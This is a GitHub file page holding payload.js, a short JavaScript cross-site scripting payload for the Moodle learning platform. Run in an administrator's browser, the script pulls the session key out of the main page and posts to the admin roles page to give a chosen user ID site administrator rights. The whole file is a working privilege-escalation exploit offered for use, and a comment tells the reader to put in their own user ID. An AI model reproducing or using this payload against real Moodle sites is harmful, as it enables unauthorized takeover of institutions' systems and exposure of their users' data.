-
Notifications
You must be signed in to change notification settings - Fork 2
/
payload.js
51 lines (44 loc) · 1.28 KB
/
payload.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
// XSS Payload for privilege escalation on Moodle. Change userid value to your userid.
var webroot = '/';
var userid = '3';
var sesskey = '';
function get(path, success) {
var xhr = new XMLHttpRequest();
xhr.open('GET', webroot + path);
xhr.onreadystatechange = function() {
if (xhr.readyState > 3 && xhr.status == 200) {
success(xhr.responseText);
}
};
xhr.send();
return xhr;
}
function post(path, data, success) {
var xhr = new XMLHttpRequest();
xhr.open('POST', webroot + path);
xhr.onreadystatechange = function() {
if (xhr.readyState > 3 && xhr.status == 200) {
success(xhr.responseText);
}
};
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send(encodeURI(data));
return xhr;
}
function setAdmin() {
// Assign administrator access to userid
bpath = 'admin/roles/admins.php';
data = "confirmadd=" + userid + "&sesskey=" + sesskey;
post(bpath, data, function(data){});
}
function getSesskey(data) {
var sesskey_find = data.indexOf('"sesskey":"');
sesskey = data.substr(sesskey_find + 11, 10);
setAdmin();
}
function payload() {
// We can find Sesskey inside JS script in main page
get('', getSesskey);
}
// Start
payload();